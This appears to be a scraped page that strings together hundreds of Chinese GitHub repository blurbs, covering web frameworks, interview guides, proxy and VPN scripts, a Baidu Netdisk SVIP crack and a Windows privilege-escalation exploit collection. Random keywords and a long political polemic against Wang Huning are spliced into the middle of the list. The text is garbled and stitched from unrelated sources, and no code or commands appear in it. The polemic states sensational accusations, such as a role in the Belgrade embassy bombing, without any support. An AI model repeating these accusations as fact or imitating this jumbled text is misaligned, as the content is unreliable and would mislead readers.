移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统 支持 登陆 注册 留言 评论 回复 点赞长江证券郑州大学超市管理系统天安门坦克桌面行驶工况茶马古道金融文本情感自动黄河银行营销通许章润
panbinibn
大陆修宪香港恶法台湾武统朝鲜毁约美中冷战等都是王沪宁愚弄习思想极左命运共同体的大策划中共窃国这半个多世纪所犯下的滔天罪恶,前期是毛泽东策划的,中期6.4前后是邓小平策划的,黄牛数据分析后期是毛的极左追随者三朝罪恶元凶王沪宁策划的。王沪宁高小肆业因文革政治和情报需要保送“学院外语班“红色仕途翻身,所以王的本质是极左的。他是在上海底层弄堂长大的,因其本性也促成其瘪三下三滥个性,所以也都说他有易主“变色龙”哈巴狗“的天性。大陆像王沪宁这样学马列政治所谓"法学"专业的人,在除朝鲜古巴所有国家特别是在文明发达国家是无法找到专业对口工作必定失业,唯独在大陆却是重用的紧缺“人才”,6.4后中共信仰大危机更是最重用的救党“人才”。这也就是像王沪宁此类工农兵假“大学生”平步青云的原因,他们最熟悉毛泽东历次运动的宫庭内斗经验手段和残酷的阶级斗争等暴力恐怖的“政治学”。王沪宁能平步青云靠他这马毛伪“政治学”资本和头衔,不是什么真才实学,能干实事有点真才实学的或许在他手下的谋士及秘书班子中可以找到。王沪宁的“真才实学”只不过是一个只读四年小学的人,大半辈子在社会上磨炼特别是在中共官场滚打炼出的的手段和经验而已,他和习近平等保送的工农兵假“大学生”都一样,无法从事原“专业”都凭红资本而从政。六四学运期间各界一边倒支持学生,王沪宁一度去法国躲避和筹谋,他还加入了反学运签名,成为极少有的反学运者仕途突显,在六四和苏联垮台后中共意识形态危机,江泽民上台看上唯一能应急的王沪宁聚谋士泡制的"稳定统一领导"和之后的"新权威"谬论。左转被邓小平南巡阻止后,王策划顺邓经济改革却将政治改革逐步全面终止和倒退,泡制“三个代表”为极左转建立庞大牢固的红色既得利益集团。因此六四后各重大决策和危机难题都摆在中共中央政策研究室王沪宁桌面上,使王沪宁成了此后中共三朝都无法摆脱的幕后最有决策性实权的人,中共中央政策研究室是王为其野心巨资经营几十年,聚众谋士的间谍情报汇总研究的特务机关和策划制定决策重要机构与基地,王沪宁本人和决定其仕途关键的首任岳父及家属就有情报工作背景。中央政研室重要到王沪宁入常后为了死抓这中共情报与决策大权,宁可放弃国家副主席和中央党校校长。后再加个除习外唯他担任的中共几核心领导小组之一的“不忘初心牢记使命”主题教育工作小组组长。此后他把持的舆论必将以宣传“不忘初心牢记使命”为主,打造众所周知的所谓“习思想”其实是”王思想“。王自从主导中央政研室开始决策后,策划中止邓小平的与美妥协路线回归毛极左的反美路线。帮助前南斯拉夫提供情报打落美机放中使馆引发炸使馆事件,以此掀起六四后唯一的全国大规模游行并借此反美而起家。后又帮江泽民提供法轮功会是超过中共组织的情报,策划决策镇压迫害开始并没有把矛头指向江的法轮功群体,策划决定阻止党内外近三十年来平反六四的呼声。致远黑皮书马拉松程序员易支付英语台词文字匹配美团点评各业务线提供知识库团队共享阿里云高精Excel识别德讯 ·吉特胡布薄熙来黑科技习近平讲话模拟器习近平音源黑马程序员MySQL数据库玉米杂草数据集销售系统开发疫情期间网民情绪识别比赛996icu996 icu学习强国预测结果导出赖伟林刺杀小说家购物商场英语词汇量小程序联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 通用JDBC操作数据库 JPA 强大的ORM框架 mybatis 强大的ORM框架 通用Mapper 快速操作Mybatis PageHelper 通用的Mybatis分页插件 mybatis plus 快速操作Mybatis BeetlSQL 强大的ORM框架 u Python资源大全中文版 包括 Web框架 网络爬虫 模板引擎 数据库 数据可视化 图片处理等 由 开源前哨 和 Python开发者 微信公号团队维护更新 吴恩达老师的机器学习课程个人笔记To Be Top Javaer Java工程师成神之路循序渐进 学习博客Spring系列源码 mrbird cc谢谢可能是让你受益匪浅的英语进阶指南镜像网易云音乐 Node js API service快速 简单避免OOM的java处理Excel工具基于 Vue js 的小程序开发框架 从底层支持 Vue js 语法和构建工具体系 中文版 Apple 官方 Swift 教程本项目曾冲到全球第一 干货集锦见本页面最底部 另完整精致的纸质版 编程之法 面试和算法心得 已在京东 当当上销售好耶 是女装Security Guide for Developers 实用性开发人员安全须知 阿里巴巴 MySQL binlog 增量订阅 消费组件 ECMAScript 6入门 是一本开源的 JavaScript 语言教程 全面介绍 ECMAScript 6 新增的语法特性 C C 技术面试基础知识总结 包括语言 程序库 数据结构 算法 系统 网络 链接装载库等知识及面试经验 招聘 内推等信息 一款优秀的开源博客发布应用 Solutions to LeetCode by Go 1 % test coverage runtime beats 1 % LeetCode 题解分布式任务调度平台XXL JOB 谷粒 Chrome插件英雄榜 为优秀的Chrome插件写一本中文说明书 让Chrome插件英雄们造福人类公众号 加1 同步更新互联网公司技术架构 微信 淘宝 微博 腾讯 阿里 美团点评 百度 Google Facebook Amazon eBay的架构 欢迎PR补充IntelliJ IDEA 简体中文专题教程程序员技能图谱前端面试每日 3 1 以面试题来驱动学习 提倡每日学习与思考 每天进步一点 每天早上5点纯手工发布面试题 死磕自己 愉悦大家 4 道前端面试题全面覆盖小程序 软技能 华为鸿蒙操作系统 互联网首份程序员考公指南 由3位已经进入体制内的前大厂程序员联合献上 Mac微信功能拓展 微信插件 微信小助手 A plugin for Mac WeChat 机器学习 西瓜书 公式推导解析 在线阅读地址一款轻量级 高性能 功能强大的内网穿透代理服务器 支持tcp udp socks5 http等几乎所有流量转发 可用来访问内网网站 本地支付接口调试 ssh访问 远程桌面 内网dns解析 内网socks5代理等等 并带有功能强大的web管理端一款面向泛前端产品研发全生命周期的效率平台 文言文編程語言清华大学计算机系课程攻略面向云原生微服务的高可用流控防护组件 On Java 8 中文版 本文原文由知名 Hacker Eric S Raymond 所撰寫 教你如何正確的提出技術問題並獲得你滿意的答案 React Native指南汇集了各类react native学习资源 开源App和组件1 Days Of ML Code中文版千古前端图文教程 超详细的前端入门到进阶学习笔记 从零开始学前端 做一名精致优雅的前端工程师 公众号 千古壹号 作者 基于 React 的渐进式研发框架 ice work视频播放器支持弹幕 外挂字幕 支持滤镜 水印 gif截图 片头广告 中间广告 多个同时播放 支持基本的拖动 声音 亮度调节 支持边播边缓存 支持视频自带rotation的旋转 9 27 之类 重力旋转与手动旋转的同步支持 支持列表播放 列表全屏动画 视频加载速度 列表小窗口支持拖动 动画效果 调整比例 多分辨率切换 支持切换播放器 进度条小窗口预览 列表切换详情页面无缝播放 rtsp concat mpeg JumpServer 是全球首款开源的堡垒机 是符合 4A 的专业运维安全审计系统 Linux命令大全搜索工具 内容包含Linux命令手册 详解 学习 搜集 git io linux book Node js 包教不包会 by alsotang又一个小商城 litemall Spring Boot后端 Vue管理员前端 微信小程序用户前端 Vue用户移动端微信 跳一跳 Python 辅助Java资源大全中文版 包括开发库 开发工具 网站 博客 微信 微博等 由伯乐在线持续更新 python模拟登陆一些大型网站 还有一些简单的爬虫 希望对你们有所帮助 ️ 如果喜欢记得给个star哦 C 那些事 网络爬虫实战 淘宝 京东 网易云 B站 123 6 抖音 笔趣阁 漫画小说下载 音乐电影下载等deeplearning ai 吴恩达老师的深度学习课程笔记及资源 Spring Boot基础教程 Spring Boot 2 x版本连载中 帮助 Android App 进行组件化改造的路由框架 最接近原生APP体验的高性能框架基于Vue3 Element Plus 的后台管理系统解决方案程序员如何优雅的挣零花钱 2 版 升级为小书了 从Java基础 JavaWeb基础到常用的框架再到面试题都有完整的教程 几乎涵盖了Java后端必备的知识点spring boot 实践学习案例 是 spring boot 初学者及核心技术巩固的最佳实践 另外写博客 用 OpenWrite 最好用的 V2Ray 一键安装脚本 管理脚本中国程序员容易发音错误的单词 统计学习方法 的代码实现关于Python的面试题本项目将 动手学深度学习 Dive into Deep Learning 原书中的MXNet实现改为PyTorch实现 提高 Android UI 开发效率的 UI 库前端精读周刊 帮你理解最前沿 实用的技术 的奇技淫巧时间选择器 省市区三级联动 Python爬虫代理IP池 proxy pool LeetCode 刷题攻略 2 道经典题目刷题顺序 共6 w字的详细图解 视频难点剖析 5 余张思维导图 从此算法学习不再迷茫 来看看 你会发现相见恨晚 一个基于 electron 的音乐软件Flutter 超完整的开源项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 持续维护 配套文章 适合全面学习 对比参考 跨平台的开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款React Native版本 https g 这是一个用于显示当前网速 CPU及内存利用率的桌面悬浮窗软件 并支持任务栏显示 支持更换皮肤 是一个跨平台的强加密无特征的代理软件 零配置 V2rayU 基于v2ray核心的mac版客户端 用于科学上网 使用swift编写 支持vmess shadowsocks socks5等服务协议 支持订阅 支持二维码 剪贴板导入 手动配置 二维码分享等算法模板 最科学的刷题方式 最快速的刷题路径 你值得拥有 经典编程书籍大全 涵盖 计算机系统与网络 系统架构 算法与数据结构 前端开发 后端开发 移动开发 数据库 测试 项目与团队 程序员职业修炼 求职面试等wangEditor 轻量级web富文本框前端跨框架跨平台框架 每个 JavaScript 工程师都应懂的33个概念 leonardomso一个可以观看国内主流视频平台所有视频的客户端Android开发人员不得不收集的工具类集合 支付宝支付 微信支付 统一下单 微信分享 Zip4j压缩 支持分卷压缩与加密 一键集成UCrop选择圆形头像 一键集成二维码和条形码的扫描与生成 常用Dialog WebView的封装可播放视频 仿斗鱼滑动验证码 Toast封装 震动 GPS Location定位 图片缩放 Exif 图片添加地理位置信息 经纬度 蛛网等级 颜色选择器 ArcGis VTPK 编译运行一下说不定会找到惊喜 123 6 购票助手 支持集群 多账号 多任务购票以及 Web 页面管理 编程随想 收藏的电子书清单 多个学科 含下载链接 Banner 2 来了 Android广告图片轮播控件 内部基于ViewPager2实现 Indicator和UI都可以自定义 零代码 热更新 自动化 ORM 库 后端接口和文档零代码 前端 客户端 定制返回 JSON 的数据和结构 Linux Windows macOS 跨平台 V2Ray 客户端 支持使用 C Qt 开发 可拓展插件式设计 walle 瓦力 Devops开源项目代码部署平台基于 node js Mongodb 构建的后台系统 js 源码解析一个涵盖六个专栏分布式消息队列 分布式事务的仓库 希望胖友小手一抖 右上角来个 Star 感恩 1 24基于 vue element ui 的后台管理系统磁力链接聚合搜索中华人民共和国行政区划 省级 省份直辖市自治区 地级 城市 县级 区县 乡级 乡镇街道 村级 村委会居委会 中国省市区镇村二级三级四级五级联动地址数据 iOS开发常用三方库 插件 知名博客等等LeetCode题解 151道题完整版/中文文案排版指北最良心的 Python 教程 业内为数不多致力于极致体验的超强全自研跨平台 windows android iOS 流媒体内核 通过模块化自由组合 支持实时RTMP推流 RTSP推流 RTMP播放器 RTSP播放器 录像 多路流媒体转发 音视频导播 动态视频合成 音频混音 直播互动 内置轻量级RTSP服务等 比快更快 业界真正靠谱的超低延迟直播SDK 1秒内 低延迟模式下2 4 ms 一个 PHP 微信 SDK ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 此项目是机器学习 Machine Learning 深度学习 Deep Learning NLP面试中常考到的知识点和代码实现 也是作为一个算法工程师必会的理论基础知识 夜读 通过 bilibili 在线直播的方式分享 Go 相关的技术话题 每天大家在微信 telegram Slack 上及时沟通交流编程技术话题 GitHubDaily 分享内容定期整理与分类 欢迎推荐 自荐项目 让更多人知道你的项目 支持多家云存储的云盘系统机器学习相关教程DataX是阿里云DataWorks数据集成的开源版本 这里是写博客的地方 Halfrost Field 冰霜之地mall学习教程 架构 业务 技术要点全方位解析 mall项目 4 k star 是一套电商系统 使用现阶段主流技术实现 涵盖了等技术 采用Docker容器化部署 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具汇总各大互联网公司容易考察的高频leetcode题 1 Chinese Word Vectors 上百种预训练中文词向量 Android开源弹幕引擎 烈焰弹幕使 ~深度学习框架PyTorch 入门与实战 网易云音乐命令行版本 对开发人员有用的定律 理论 原则和模式TeachYourselfCS 的中文翻译高颜值的第三方网易云播放器 支持 Windows macOS Linux spring cloud vue oAuth2 全家桶实战 前后端分离模拟商城 完整的购物流程 后端运营平台 可以实现快速搭建企业级微服务项目 支持微信登录等三方登录 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 Lantern官方版本下载 蓝灯 翻墙 代理 科学上网 外网 加速器 梯子 路由一款入门级的人脸 视频 文字检测以及识别的项目 vue2 vue router vuex 入门项目PanDownload的个人维护版本 一个基于Spring Boot MyBatis的种子项目 用于快速构建中小型API RESTful API项目 iOS interview questions iOS面试题集锦 附答案 学习qq群或 Telegram 群交流为互联网IT人打造的中文版awesome go强大 可定制 易扩展的 ViewPager 指示器框架 是的最佳替代品 支持角标 更支持在非ViewPager场景下使用 使用hide show 切换Fragment或使用se Kubernetes中文指南 云原生应用架构实践手册For macOS 百度网盘 破解SVIP 下载速度限制 架构师技术图谱 助你早日成为架构师mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 网易云音乐第三方 编程随想 整理的 太子党关系网络 专门揭露赵国的权贵基于gin vue搭建的后台管理系统框架 集成jwt鉴权 权限管理 动态路由 分页封装 多点登录拦截 资源权限 上传下载 代码生成器 表单生成器 通用工作流等基础功能 五分钟一套CURD前后端代码 目VUE3版本正在重构 欢迎issue和pr 27天成为Java大神一个基于浏览器端 JS 实现的在线代理编程电子书 电子书 编程书籍 包括人工智能 大数据类 并发编程 数据库类 数据挖掘 新面试题 架构设计 算法系列 计算机类 设计模式 软件测试 重构优化 等更多分类ADB Usage Complete ADB 用法大全二维码生成器 支持 gif 动态图片二维码 Vim 从入门到精通阿布量化交易系统 股票 期权 期货 比特币 机器学习 基于python的开源量化交易 量化投资架构一个简洁优雅的hexo主题 Wiki of OI ICPC for everyone 某大型游戏线上攻略 内含炫酷算术魔法 Google 开源项目风格指南 中文版 Git AWS Google 镜像 SS SSR VMESS节点行业研究报告的知识储备库 cim cross IM 适用于开发者的分布式即时通讯系统微信小程序开源项目库汇总每天更新 全网热门 BT Tracker 列表 天用Go动手写 从零实现系列强大的哔哩哔哩增强脚本 下载视频 音乐 封面 弹幕 简化直播间 评论区 首页 自定义顶栏 删除广告 夜间模式 触屏设备支持Evil Huawei 华为作过的恶Android上一个优雅 万能自定义UI 仿iOS 支持垂直 水平方向切换 支持周视图 自定义周起始 性能高效的日历控件 支持热插拔实现的UI定制 支持标记 自定义颜色 农历 自定义月视图各种显示模式等 Canvas绘制 速度快 占用内存低 你真的想不到日历居然还可以如此优雅已不再维护科学上网插件的离线安装包储存在这里ThinkPHP Framework 十年匠心的高性能PHP框架 Java 程序员眼中的 Linux 一个支持多选 选原图和视频的图片选择器 同时有预览 裁剪功能 支持hsweb haʊs wɛb 是一个基于spring boot 2 x开发 首个使用全响应式编程的企业级后台管理系统基础项目 学习强国 懒人刷分工具 自动学习wxParse 微信小程序富文本解析自定义组件 支持HTML及markdown解析 newbee mall 项目 新蜂商城 是一套电商系统 包括 newbee mall 商城系统及 newbee mall admin 商城后台管理系统 基于 Spring Boot 2 X 及相关技术栈开发 前台商城系统包含首页门户 商品分类 新品上线 首页轮播 商品推荐 商品搜索 商品展示 购物车 订单结算 订单流程 个人订单管理 会员中心 帮助中心等模块 后台管理系统包含数据面板 轮播图管理 商品管理 订单管理 会员管理 分类管理 设置等模块 最全的前端资源汇总仓库 包括前端学习 开发资源 求职面试等 中文翻译手写实现李航 统计学习方法 书中全部算法 Python 抖音机器人 论如何在抖音上找到漂亮小姐姐? ️A static blog writing client 一个静态博客写作客户端 超级速查表 编程语言 框架和开发工具的速查表 单个文件包含一切你需要知道的东西 迁移学习前端低代码框架 通过 JSON 配置就能生成各种页面 技术面试最后反问面试官的话Machine Learning Yearning 中文版 机器学习训练秘籍 Andrew Ng 著越来越多的网站具有反爬虫特性 有的用图片隐藏关键数据 有的使用反人类的验证码 建立反反爬虫的代码仓库 通过与不同特性的网站做斗争 无恶意 提高技术 欢迎提交难以采集的网站 因工作原因 项目暂停 本项目收藏这些年来看过或者听过的一些不错的常用的上千本书籍 没准你想找的书就在这里呢 包含了互联网行业大多数书籍和面试经验题目等等 有人工智能系列 常用深度学习框架TensorFlow pytorch keras NLP 机器学习 深度学习等等 大数据系列 Spark Hadoop Scala kafka等 程序员必修系列 C C java 数据结构 linux 设计模式 数据库等等 人人影视bot 完全对接人人影视全部无删减资源Spring Cloud基础教程 持续连载更新中一个用于在 macOS 上平滑你的鼠标滚动效果或单独设置滚动方向的小工具 让你的滚轮爽如触控板阿里妈妈前端团队出品的开源接口管理工具RAP第二代超轻量级中文ocr 支持竖排文字识别 支持ncnn mnn tnn推理总模型仅4 7M 微信全平台 SDK Senparc Weixin for C 支持 NET Framework 及 NET Core NET 6 已支持微信公众号 小程序 小游戏 企业号 企业微信 开放平台 微信支付 JSSDK 微信周边等全平台 WeChat SDK for C 中文独立博客列表高效率 QQ 机器人支持库支持定制任何播放器SDK和控制层 OpenPower工作组收集汇总的医院开放数据Xray 基于 Nginx 的 VLESS XTLS 一键安装脚本 FlutterDemo合集 今天你fu了吗莫烦Python 中文AI教学中国特色 TabBar 一行代码实现 Lottie 动画TabBar 支持中间带 号的TabBar样式 自带红点角标 支持动态刷新 Flutter豆瓣客户端 Awesome Flutter Project 全网最1 %还原豆瓣客户端 首页 书影音 小组 市集及个人中心 一个不拉 img xuvip top douyademo mp4 基于SpringCloud2 1的微服务开发脚手架 整合了等 服务治理方面引入等 让项目开发快速进入业务开发 而不需过多时间花费在架构搭建上 持续更新中基于 Vue2 和 ECharts 封装的图表组件 SSR 去广告ACL规则 SS完整GFWList规则 Clash规则碎片 Telegram频道订阅地址和我一步步部署 kubernetes 集群搜集 整理 维护实用规则 中文自然语言处理相关资料基于SOA架构的分布式电商购物商城 前后端分离 前台商城 全家桶 后台管理系统等What happens when 的中文翻译 原仓库QMUI iOS 致力于提高项目 UI 开发效率的解决方案新型冠状病毒防疫信息收集平台告别枯燥 致力于打造 Python 实用小例子在线制作 sorry 为所欲为 的gifNodejs学习笔记以及经验总结 公众号 程序猿小卡 李宏毅 机器学习 笔记 在线阅读地址 Vue js 源码分析V部落 Vue SpringBoot实现的多用户博客管理平台 Android Signature V2 Scheme签名下的新一代渠道包打包神器Autoscroll Banner 无限循环图片 文字轮播器 多种编程语言实现 LeetCode 剑指 Offer 第 2 版 程序员面试金典 第 6 版 题解一套高质量的微信小程序 UI 组件库飞桨 官方模型库 包含多种学术前沿和工业场景验证的深度学习模型 中文 Python 笔记专门为刚开始刷题的同学准备的算法基地 没有最细只有更细 立志用动画将晦涩难懂的算法说的通俗易懂 版入门实例代码 实战教程 是一个高性能且低损耗的 goroutine 池 CVPR 2 21 论文和开源项目合集有 有 Python进阶 Intermediate Python 中文版 机器人视觉 移动机器人 VS SLAM ORB SLAM2 深度学习目标检测 yolov3 行为检测 opencv PCL 机器学习 无人驾驶后台管理系统解决方案创建在线课程 学术简历或初创网站 Chrome插件开发全攻略 配套完整Demo 欢迎clone体验QUANTAXIS 支持任务调度 分布式部署的 股票 期货 期权 港股 虚拟货币 数据 回测 模拟 交易 可视化 多账户 纯本地量化解决方案微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn面向开发人员梳理的代码安全指南以撸代码的形式学习Python提供同花顺客户端 国金 华泰客户端 雪球的基金 股票自动程序化交易以及自动打新 支持跟踪 joinquant ricequant 模拟交易 和 实盘雪球组合 量化交易组件搜狐视频 sohu tv Redis私有云平台spring boot打造文件文档在线预览项目计算机基础 计算机网络 操作系统 数据库 Git 面试问题全面总结 包含详细的follow up question以及答案 全部采用 问题 追问 答案 的形式 即拿即用 直击互联网大厂面试 可用于模拟面试 面试前复习 短期内快速备战面试 首款微信 macOS 客户端撤回拦截与多开windows kernel exploits Windows平台提权漏洞集合权限管理系统 预览地址 47 1 4 7 138 loginpkuseg多领域中文分词工具一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档零反射全动态Android插件框架Python入门网络爬虫之精华版分布式配置管理平台 中文 iOS Mac 开发博客列表周志华 机器学习 又称西瓜书是一本较为全面的书籍 书中详细介绍了机器学习领域不同类型的算法 例如 监督学习 无监督学习 半监督学习 强化学习 集成降维 特征选择等 记录了本人在学习过程中的理解思路与扩展知识点 希望对新人阅读西瓜书有所帮助 国内首个Spring Cloud微服务化RBAC的管理平台 核心采用前端采用d2 admin中台框架 记得上边点个star 关注更新Apache ECharts incubating 的微信小程序版本C 资源大全中文版 标准库 Web应用框架 人工智能 数据库 图片处理 机器学习 日志 代码分析等 由 开源前哨 和 CPP开发者 微信公号团队维护更新 stackoverflow上Java相关回答整理翻译 基于Google Flutter的WanAndroid客户端 支持Android和iOS 包括BLoC RxDart 国际化 主题色 启动页 引导页 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总 旨在为大家提供一个清晰详细的学习教程 侧重点更倾向编写Java核心内容 如果本仓库能为您提供帮助 请给予支持 关注 点赞 分享 C 资源大全中文版 包括了 构建系统 编译器 数据库 加密 初中高的教程 指南 书籍 库等 NET m3u8 downloader 开源的命令行m3u8 HLS dash下载器 支持普通AES 128 CBC解密 多线程 自定义请求头等 支持简体中文 繁体中文和英文 English Supported 国内低代码平台从业者交流tcc transaction是TCC型事务java实现设计模式 Golang实现 研磨设计模式 读书笔记Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 自己动手做聊天机器人教程 RecyclerView侧滑菜单 Item拖拽 滑动删除Item 自动加载更多 HeaderView FooterView Item分组黏贴 腾讯物联网终端操作系统一个小巧 轻量的浏览器内核 用来取代wke和libcef包含美颜等4 余种实时滤镜相机 可拍照 录像 图片修改springboot 框架与其它组件结合如等用深度学习对对联 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide 用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 GitHub中文排行榜 帮助你发现高分优秀中文项目 更高效地吸收国人的优秀经验成果 榜单每周更新一次 敬请关注 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 诊断利器Arthas教程 技术栈示例代码 快速简单上手教程 http下载工具 基于http代理 支持多连接分块下载阿里云计算平台团队出品 为监控而生的数据库连接池 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 thymeleaf 模板引擎 Beetl 模板引擎 Enjoy 模板引擎 JdbcTemplate 